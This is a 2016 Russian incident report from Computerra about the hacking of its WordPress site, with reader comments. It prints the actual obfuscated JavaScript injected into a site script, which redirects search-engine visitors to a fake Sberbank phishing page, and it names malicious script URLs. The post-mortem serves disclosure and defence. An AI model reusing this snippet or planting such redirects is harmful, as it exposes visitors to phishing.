Как мы боролись за «Компьютерру»

Терралаб
автор: Андрей Васильков  30 марта 2016

Как вы могли заметить, в марте этого года наш сайт некоторое время был недоступен. На главной странице несколько дней отображалось уведомление о взломе. Сейчас основная часть восстановительных работ уже сделана. Сайт снова функционирует, и теперь мы публикуем историю о том, как боролись за «Компьютерру».

Отдельные сообщения о нарушении работы нашего сайта стали появляться практически сразу после того, как в начале года мы сменили сервер внутри хостинга. Время загрузки страниц существенно возросло, а читатели иногда писали «похоже, у вас вирус». На такие жалобы было сложно отреагировать. Антивирус на сервере ничего не находил, да и сервис облачной проверки VirusTotal определял наш сайт как чистый (0 из 67).

В конце февраля в комментариях и во внутренней рассылке промелькнуло сообщение о появлении фишинговой ссылки (при заходе на сайт появлялся посторонний баннер), но тогда его тоже восприняли как локальную проблему на компьютере нашедшего. На тот момент сотрудники «Компьютерры» никакой подозрительной активности в своих браузерах не замечали. У кого-то стоял AdBlock, у многих были ограничены JS-скрипты и настроены жёсткие правила фильтрации. Позже сервис Symantec Norton Safe внёс www.computerra.ru в чёрный список, но причины этого никак не объяснялись, а все антивирусы по-прежнему молчали.

Ситуация стала проясняться после того, как нам стали поступать по несколько сообщений в час. В частности проблему описала читательница Яна Киреёнок, программист С/С++ из Екатеринбурга. «Похоже, что сайт взломан, – написала она 14 марта в нашей группе Google+. – При переходе по ссылке с домена «goo.gl» запускается скрипт, который перенаправляет юзера на баннер «Сбербанка» (скорее всего, фальшивый, адрес не проверяла) и ещё грузится скрипт www.renniecoglemusic.com/wp-content/plugins/jquery/jquery.min.js (который вовсе не jquery.min). Забанивание домена со скриптом приводит просмотр ссылок в порядок».

На фоне таких сообщений у меня появился повод провести экспресс-аудит сайта. Для его проверки я сначала поднял виртуальную машину с чистой ОС и разными браузерами без дополнений. При заходе из неё на некоторые страницы нашего сайта действительно появлялся баннер, содержащий вот такой инжект:

http://www.fuchs-heizung.de/js/jquery.min.php?c_utt=G91825&c_utm=

Затем я стал копать дальше с помощью сервисов Qualys, WebPageTest и других. Вскоре увидел, что перенаправление происходит через сервис сокращения URL goo.gl. Ссылка такого вида была вставлена в конец одного из наших джава-скриптов. В коде использовались методы обфускации, затрудняющие обнаружение фишинговой ссылки антивирусными сканерами.

window.onload=function(){var pattern = new RegExp(/google.|yahoo.|yandex.|bing.|rambler.|go.mail./i); var tttt =
(location.href).replace(‘http://’+location.host+’/’, »);if(pattern.test(document.referrer)){document.location.href=’h’+’t’+’t’+’p’+’s:’+’/’+’/’+’rest-on.ru/sberbank/’;}}

Наш программист начал исправлять протрояненный скрипт вручную и проверять остальные скрипты, но найденное в них было лишь верхушкой айсберга. Как только мы начали активное противодействие, произошла новая и более мощная атака. Для её осуществления через уязвимость CVE-2015-3306 на сайт «Компьютерры» внедрили PHP-шелл (скрипт PHP, позволяющий удалённо выполнять команды на сервере через браузер). Дополнительно могла использоваться уязвимость в WordPress и OpenSSH (CVE-2015-5352). В результате НСД 17 марта 2016 г. были вновь изменены скрипты с фишинговыми ссылками, а затем и вовсе удалена большая часть контента. Мы потеряли медиа-файлы за несколько лет. Видимо, атаковавший действовал по принципу «не доставайся же ты никому!».

Уязвимости ProFTPD и OpenSSH.

Уязвимости ProFTPD и OpenSSH.

Тогда удалённые файлы не казались большой проблемой. «Вычистим сайт и восстановим иллюстрации из резервных копий», – думали мы. Однако тут очередной сюрприз нам преподнёс хостер, у которого мы арендовали площадку в Германии. Помните пословицу: «что русскому хорошо, то немцу…»? Это утверждение имеет и обратную силу. Регулярное создание бэкапов с ним надо было оформлять отдельным договором. В нашем же был только пункт «настройка резервного копирования», который не включал саму процедуру бэкапа. Хитро́!

Атака на сайт «Компьютерры» не закончилась удалением контента. Она продолжалась почти неделю, но уже не была результативной – просто мешала оперативному восстановлению.

В анализе ситуации нам экстренно помогли специалисты компании Deiteriy, подключившись к процессу поздно вечером 17 марта. Они выявили другие незакрытые уязвимости на сайте, провели расследование инцидента, выполнили углубленный аудит и сформулировали рекомендации о том, как усилить защиту «Компьютерры».

«Мы предполагаем, что атака не была целенаправленной, а стала следствием использования распространенных уязвимостей популярной CMS WordPress и установленных в ней плагинов, — комментирует Семён Уваров, техник по защите информации компании Deiteriy. — Ботнеты постоянно сканируют все публично доступные IP-адреса в Интернете на наличие неправильно сконфигурированных информационных систем и известных уязвимостей в них. К сожалению, доля таких систем в Интернете очень велика, поэтому подобные атаки в наши дни — не редкость».

Новым хостером для нас стала компания «ИТ-Град». Они обслуживают корпоративных клиентов, предоставляют облачные сервисы и делают основной фокус на безопасности. Наиболее свежий контент мы восстановили из локальных копий, сохранившихся у наших постоянных авторов. Остальные материалы продолжаем восстанавливать из прежних бэкапов, сохранившихся до переезда.

Пускай из-за атаки мы потеряли время и потрепали нервы, это справедливая цена за полученный урок. Тесты на проникновение стоят дорого, особенно если выполняются с наглядной демонстрацией. Итогом атаки на наш сайт стало решение многих наболевших проблем, повышение его безопасности и переезд на более качественный хостинг в России.

Поделиться
Поделиться
Tweet
Google
 
Читайте также
Logjam — новая уязвимость HTTPS
Logjam — новая уязвимость HTTPS
Check Point обнаружила критическую уязвимость категории «удаленное исполнение кода» (RCE) в платформе онлайн-торговли Magento, которую использует eBay.
Check Point обнаружила критическую уязвимость категории «удаленное исполнение кода» (RCE) в платформе онлайн-торговли Magento, которую использует eBay.
320
Bash без im: как используют и закрывают крупнейшую уязвимость
Bash без im: как используют и закрывают крупнейшую уязвимость
  • Nik

    Спасибо за подробный отчет! Весьма иронично, что у спецов по компьютерам нашлась какая-то всемирно известная уязвимость…через которую хакеры и пролезли.

    • Это уже сарказм, или даже издевка

      • Doctor Y. Doodle

        Сократзм.

    • Андрей Васильков

      Авторы, редакторы и прочие креативщики «Компьютерры» не администрируют
      сайт. Поэтому мы оказались на положении Сократа и в своих статьях по безопасности «учим
      как надо жить, а сами живём как можем».

      • kue

        Предлагаю переименовать КТ в СТ ( СократТерру )

      • ovod

        виноват админ сервера, который не актуализировал версии софта. это альфа безопасности

  • kue

    Кодер Пахом во Франкфурт попал
    Без работы остался и лапу сосал.
    Агент ЦРУ указал ему цель..
    КТ завалилось на пару недель

    ps Давно надо было возвращаться к истокам, корням и, так сказать, скрепам )

    • Страдал Гаврила от ангины
      И подвернулся фармацевт:
      Опустим курс леченья длинный,-
      Серпом по гландам — весь рецепт.
      PS: В некоторых странах есть требования хостить сайты из национального домена только на родной земле.

      • Андрей Васильков

        Да, в das Heimatland!

        • In diese mal — «Nach Faterland» (ох, размажет меня пМВ за эти жалкие огрызки знаний).
          Помню ощущение удивительной легкости, когда через пару дней восстановили работу сети предприятия. Пока работали, копилась усталость, а заработало — и все, бодры и веселы.

      • kue

        Кодер Пахом Гаврилу жалел
        Мазал все йодом и он не болел.
        Но решил наш Гаврила к немцам пойти..
        Гланды отпали и их не найти

        • Гаврила лекарь. Яд пчелиный
          Ценил. Пахому геморрой
          Лечил, условности откинув:
          «Снимай штаны. У улья стой!»

    • Андрей Васильков

      … и скрижалям.

  • У меня такаяже ситуация с одним сайтом. Можете подробней написать, какие дыры вы закрыли? Откуда проникал вирус? Какие плагины подвержены заражению? Какие меры вы приняли для дальнейшей безопасности?

    • Андрей Васильков

      Большая часть вопросов касается структуры и организации безопасности сайта, то есть относится к служебной информации для внутреннего использования. Рекомендации дать могу: начните с бесплатного теста Qualys, закройте все обнаруженные в нём дыры (даётся конкретная рекомендация по проблемным страницам, уязвимостям и патчам), проанализируйте все внешние ссылки через WebPageTest, проверьте конфиги, разграничьте и ограничьте доступ до минимально необходимого.

  • RedBigRocket

    Лишнее подтверждение что фигня все эти ваши новомодные штучки. Возрождайте бумажную Компьютерру!

    • ovod

      ахаха, бумажная денег стоила, а тут бесплатно

      • RedBigRocket

        Вот именно! Бумажная чего то стоила. А сейчас осталась «столовая для малоимущих» — что налили то и хлебай.

        • Если бы «чего-то»…

        • Анастасия

          Ну почему такой негатив. Бумажная Компьютерра была в «свое» время и все мы ее помним и грустим. Конечно, трудно повторить успех. Все что сейчас ни делай, все равно все будут говорить «даа, Компьютерра уже не та. Вот когда была печатная Компьютерра…». Возродить бумажную КТ не реально, на это и правда нужны большие инвестиции, которых нет. Онлайн версия существует много лет и мы стараемся поддерживать формат, пусть и пробуя что-то «новомодное» для того, чтобы идти в ногу со временем.

  • Yevgeniy Gritsan

    Поздравляю с возвращением в строй!

  • riy

    Разумеется, что использование стандартных решений (стандартных CMS, стандартных замков, стандартных автосигнализаций, стандартных ОС и т.д.) влечёт за собой повышенные риски безопасности. Ведь никому не нужен только Неуловимый Джо.

    Как бы то ни было, я очень рад, что «Компьютерра» ожила. Спасибо всем!

  • vgolov

    внизу еще висит: Хостинг «Fornex»

    • Андрей Васильков

      Скоро изменим. Пока в фоне старые проекты перетаскиваем с Форнекса.

      • RavilovVladimir

        Да, но Форнекс уже поторопился убрать Компьютерру с главной страницы. Не поленился, проверил. Сам клиент Форнекса.

  • Илья

    На будущее на fl.ru периодически (или при подозрении) закидывайте задание проверки сайта где-нибудь за 1тр — и таких проблем можно будет избежать.

    • Андрей Васильков

      Qualys и масса других сервисов делают это бесплатно и генерируют детальный отчёт. Углубленые тесты мы заказываем специализирующимся на безопасности компаниям. Расценки у них совсем другие, но и результаты тоже. Проблема подобрать периодичность проверки. Знаете же, что пока гром не грянет…

      • Илья

        Может быть, но возможно, что специалист сможет ими более грамотно воспользоваться и свой опыт тоже применить.

  • kiwi0fruit

    С возвращением!

    А что делал инжект джаваскрипта и был ли он опасен для посетителей сайта?

  • Garruz

    Сам в своё время столкнулся с проблемой потери бэкапов (хостер клялся-божился, что «должно было работать»))). После этого взял за правило «дедовский» метод – регулярное дополнительное копирование всего содержимого на локальную машину (через FTP). Весомо, грубо, зримо… =)

    Да, это перестраховка и лишние телодвижения – но зато уж точно обезопасит от любых возможных косяков хостеров.

    С возвращением!

    • Andrei Komelkov

      Блин, да у меня на самой занюханной подработке 3 (три) полных бекапа в разные места и технологии!.. А у КОМПЬЮТЕРРЫ…. Вообще, слов нет, честно говоря.

      • Igor Borski

        Хорошо нам программистам — внешний VCS уже бэкап :)

  • Andrei Komelkov

    «Регулярное создание бэкапов с ним надо было оформлять отдельным договором. В нашем же был только пункт «настройка резервного копирования», который не включал саму процедуру бэкапа. Хитро́!»
    Ребята, вы таки хотите мне сказать, что вы ни разу в реальности не попробовали воостановить свой «бекап» и посмотреть, что будет?! Да… ТАКОГО факапа от Компьютерры (?!) я не ожидал…
    PS Надеюсь, админы и ко все получили уже пистолет с одним патроном?… ;)

    • Igor Borski

      Бэкап без проверки на реальный сбой / восстановление = отсутствие бэкапа.
      Уж сколько раз твердили миру

      • Для полноценного испытания восстановления из бэкапа требуется оборудование/комплекс, аналогичный рабочему.

  • Саша Про

    «Umm, I was thinking
    This is a dangerous place
    This is a dangerous place»
    https://m.youtube.com/watch?v=q-5hLiZnJhU
    Ещё бы как-нибудь Касперского такого-то убрать, с его «танками в подарок».

  • Бумбараш

    Остаются вопросы «кто» и «зачем».

    • Igor Borski

      Эммм

      Ботнет — ради «больше ботнета», ну трояны всем бесплатно :)

    • Рискну предположить, исходя не из программных тонкостей, а из того, что «была бы нужда, справим».
      Сайт работает за рекламу. Возможно, что сотрудники сайта не размещают рекламу так, как мы привыкли в бумажную эпоху (верстка, прикидка, обсуждение). Сдается рекламщикам даже не конкретная площадь — рекламное агентство само активно «верстает» сайт, вкрапляя в него допустимые программными технологиями элементы. «За содержание рекламы редакция ответственности не несет». Вот с этой рекламой все и проникло. Возможно, что кто-то ломанул не только КТ, он ломанул посредника, аккумулирующего рекламные материалы и берущего плату за «просмотры». Может, на каком-то еще сайте есть аналогичные проблемы? Это уже будет система, там можно и ниточки искать.

      • Анастасия

        Олег, да нет. Рекламу мы сами размещаем. Есть конечно код гугл эдсенс, но через них точно никто и ничто к нам проникнуть не могло. Поэтому версия отпадает.
        Кстати, никогда бы не доверили рекламному агентству «верстать» Компьютерру под рекламу.

  • Denn Nazarov

    Может это был намёк на импортозамещение хостинга? :)

  • Carudo

    Ну вот, а я думал «архив есть на сайте! выкину журналы, зачем место занимают, пылятся?». Нет уж.

  • Александр Елсуфьев

    А меня уже третий день, периодически при нажатии на разные статьи, либо при попытке почитать ответы на мои комментарии, выкидывает на сайт «танки в подарок»… Конкретно — на страницу https://armata.kaspersky.ru/?cid=pny_armata-cmpt_pro_ona_dis__onl_b2c__ban_______

  • BlackTiger

    Клоуны… А своего локального бэкапа, типа, «вдруг» ни у кого не оказалось? Как же вы вообще «разрабатываете» свой сайт? Сразу на продакшн-сервере, как «настоящие герои»?

    Студенты-«разработчики» рулят! Работают за будерброд! Так вам и надо…

  • BlackTiger

    Судя по всему, сайт все еще «скорее мертв, чем жив» :)

    Ксати, ломанули вас кокретно. Когда я зашел разок на «поломаный сайт», их прикольный скрипт практически повесил комп, пытаясь открывать и закрывать окна, а когда отвис, я у себя на десктопе(!) обнаружил несколько шорткатов, посылающих на сайты подпольных казино и прочий мусор.

  • Даже при обновленной CMS, установленных проверенных плагинах и скриптах никто не застрахован от взлома сайта через провайдера. Стоит шеллу появится и дальше власть на сайте уже у «белых».
    Уязвимости есть всегда, вопрос только в том, как распорядится полученной информацией нашедший их. Поделится ли он с разработчиками, чтобы они «заклеили» дыру или продаст очередной способ взлома хакерам.
    Спасибо КТ за описание алгоритма действий, за признание своих ошибок. На ваших ошибках будем учиться. Не надо предлагать админам револьвер с пулей — просто поставьте им ещё пива.
    Жаль что так и нет реального инструмента эвристического анализа поведения сайта (по крайней мере на Джумле), чтобы не требовалось ждать пока на нем вместо нужной информации появятся баннеры с голыми тетками или призывами к свержению строя. Лично я бы такой плагин купил по цене антивируса. Если он реально будет хотя бы сигнализировать о нарушениях в работе сайта мгновенно, а не когда гугл и яндекс начнут ругаться и банить мой сайт.
    Пробовал разные решения по защите (от брутфорса, от враждебных инъекций и т.д и т.п.), но самым реальным остается полное копирование его через фтп, а также установка правил «онли рид» на все более-менее значимые файлы сайта, что несколько затрудняет процесс обновления и размещения новой информации. Минус в том, что если зараза правит и базу сайта, то эти способы также не дают гарантии сохранности.

  • Бэкап? Не, не слышали…

  • Oleg Anisimov

    То что данные восстановили, это хорошо, однако, конечно один из каналов распространения «Компьютерры» до сих пор не включен.
    Я имею ввиду бумажную версию журнала.

    За последние лет 5-8 бумажный рынок покинули ВСЕ компьютерные (не игровые) журналы а единственный Chip DVD откровенная попса по сравнению с IT аналитикой «Компьютерры».

    Бумажный рынок IT полностью оголён, и скорее всего востребован (в бумаге) но,
    «ТД Бурда» выпускавшая и закрывшая все компьютерные журналы, имеет скорее всего другие, одэбиливающие-электорат, интересы на рынке прессы в РФ, да и по всему миру тоже.
    То есть через западня`к, то есть западные ТД, возродить IT журнал невозможно,
    ибо мы западу нужны только в виде покемонов, то есть олигофренов-го.

    А вот поискать вендора, если он есть, внутри страны, это было бы очень полезно.
    Думаю рынок сбыта для бумажной Компьютерры не умер, а лишь затаился, как озимые всходы пшеницы, ждут наступления новой весны.

Хостинг "ИТ-ГРАД"
© ООО "Компьютерра-Онлайн", 1997-2017
При цитировании и использовании любых материалов ссылка на "Компьютерру" обязательна.
«Партнер Рамблера» Почта защищена сервером "СПАМОРЕЗ" Хостинг "Fornex"